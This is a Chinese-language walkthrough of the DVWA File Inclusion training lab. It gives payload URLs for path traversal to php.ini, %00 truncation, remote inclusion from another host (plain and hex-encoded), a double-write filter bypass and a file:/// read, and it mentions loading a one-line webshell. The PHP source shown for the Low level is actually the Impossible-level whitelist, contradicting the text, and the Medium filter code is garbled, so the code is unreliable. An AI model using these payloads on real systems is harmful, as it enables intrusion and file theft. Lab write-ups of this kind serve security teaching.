DWVA–File Inclusion

文件包含漏洞

 

先來了解一下什麼是文件包含

 

  因為程式開放人員通常會把可重複使用的函數寫到單個文件中,在需要使用到這些函數時候,就可以

直接調用這個文件,這種對文件的調用過程就被稱為文件包含。

 

文件包含漏洞的成因  

             隨著網站業務的需求,程式開發人員一般希望程式碼更靈活,所以將被包含的文件設置為變數,用來進行動態調用,但是正是這種靈活性通過動態變
量的方式引入需要包含的文件時,用戶對這個變數可控而且服務端又沒有做合理的校驗或者校驗被繞過就造成了文件包含漏洞。

PHP中常見的文件包含的函數

Ø include( )
當使用該函數包含文件時,只有程式碼執行到 include()函數時才將文件包含
進來,發生錯誤時之給出一個警告,繼續向下執行。
Ø include_once( )
功能與Include()相同,區別在於當重複調用同一文件時,程式只調用一次
Ø require( )
require()與include()的區別在於require()執行如果發生錯誤,函數會輸出
錯誤資訊,並終止腳本的運行。
Ø require_once( )
功能與require()相同,區別在於當重複調用同一文件時,程式只調用一次。

文件包含漏洞分類

 本地文件包含漏洞:

當被包含的文件在伺服器本地時,就形成的本地文件包含漏洞。

 

遠程文件包含漏洞:

本地文件包含和遠程文件包含造成漏洞的原因是一樣的,當php.ini 中的配
置選項allow_url_fopen和allow_url_include為ON的話,則包含的文件可以是第三方伺服器中的文件,這樣就形成了遠程文件包含漏洞。

 

我們先來簡單測試一下,我們創建一個這樣的php文件

 

在這個目錄下的txt文件也會被當作php文件來執行,我們在同目錄下創建一個txt文件

 

 

 

 

接下來我們訪問一下這個h.txt在使用id=h.txt

 

可以看到成功把txt文件執行成了php文件,如果我們把該txt寫成一句話木馬就可以用菜刀連上了,當然這要配合文件上傳漏洞來使用了。

 

 

Low

 

先來看一下源碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

沒有作任何的過濾,直接讀取文件,我們有3個選擇文件的執行,這三個文件是在include.php文件目錄下的三個文件,我們來看一下這3個文件執行結果

 

輸出當前用戶名,和我們訪問的IP,這裡是虛擬機網卡的IP

 

 

 輸出了一行字 這裡說他需要8位數的密碼,所以他選擇了白雪公主和七個小矮人~

 

 

 

 

 這裡輸出的是我們訪問所用的IP,代理地址,我們訪問的伺服器IP

 

 

 

 

 

 

我們把page後面修改成linux文件路徑報錯了,這說明伺服器是windows系統,同時也暴露了文件的絕對路徑

 

 

我們直接用絕對路徑訪問php.ini文件來看一下

 

 

 

 

我們還可以用..\..\來跳轉到上一級目錄直到根目錄再來訪問

//192.168.94.129/dvwa/vulnerabilities/fi/?page=..\..\..\..\..\phpStudy\WWW\dvwa\php.ini

 

 

 

 配置文件中的Magic_quote_gpc選項為off。在php版本小於5.3.4的伺服器中,當Magic_quote_gpc選項為off時,我們可以在文件名中使用%00進行截斷,也就是說文件名中%00後的內容不會被識別

 

也就是//192.168.94.129/dvwa/vulnerabilities/fi/?page=C:\phpStudy\www\dvwa\php.ini

//192.168.94.129/dvwa/vulnerabilities/fi/?page=C:\phpStudy\www\dvwa\php.ini%00%20adads.php是等效的

但我們這次的php版本是5.4.45.

這個規則有什麼用呢?我們可以使用%00截斷可以繞過某些過濾規則,例如要求page參數的後綴必須為php,這時前面想讀取ini後綴會讀取失敗,而後面的可以繞過規則成功讀取。

 

前面已經說過了allow_url_fopen和allow_url_include為ON的話,可以進行遠程文件包含,這裡搭載本機的伺服器

//192.168.94.129/dvwa/vulnerabilities/fi/?page=//192.168.94.1/index.php

 

成功讓本地伺服器遠程包含!一般是放攻擊文件在伺服器上。

這樣的構造太明顯,我們也可以對url進行hex編碼

http://192.168.94.129/dvwa/vulnerabilities/fi/?page=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%39%34%2e%31%2f%69%6e%64%65%78%2e%70%68%70

 

 

Medium

 

先來看一下源碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "//", "//" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

這裡使用str_replace函數來對../ ..\  //  // 都替換成了空。

 

這種替換我們通常都可以使用雙寫來繞過

//192.168.94.129/dvwa/vulnerabilities/fi/?page=htt//p://192.168.94.1/index.php

 

 

 

 

 

也可以用絕對路徑來繞過

 

 

 

High

 看一下源碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>
if( !fnmatch( "file*", $file ) && $file != "include.php" )這個程式碼是用
fnmatch(pattern,string,flags)函數
pattern 必需 規定要檢索的模式
string 必需 規定要檢查的字元串或文件
flags 可選

也就是說是當文件不是file開頭也不是include.php時候就會報錯。也就意味著滿足其中一個條件就可以正確執行了

當我們打開一個本地文件時,前面就是file開頭

 

 

 

 

接下來就可以構造payload了

//192.168.94.129/dvwa/vulnerabilities/fi/?page=file:///C:\phpstudy\WWW\dvwa\php.ini

 

 

 

Impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

 

這裡直接就必須是他原本的幾種文件名才可以包含了,這裡可能需要用文件上傳和一些規則利用才能繞過了,現在我還沒有辦法繞過。

 

 

Tags: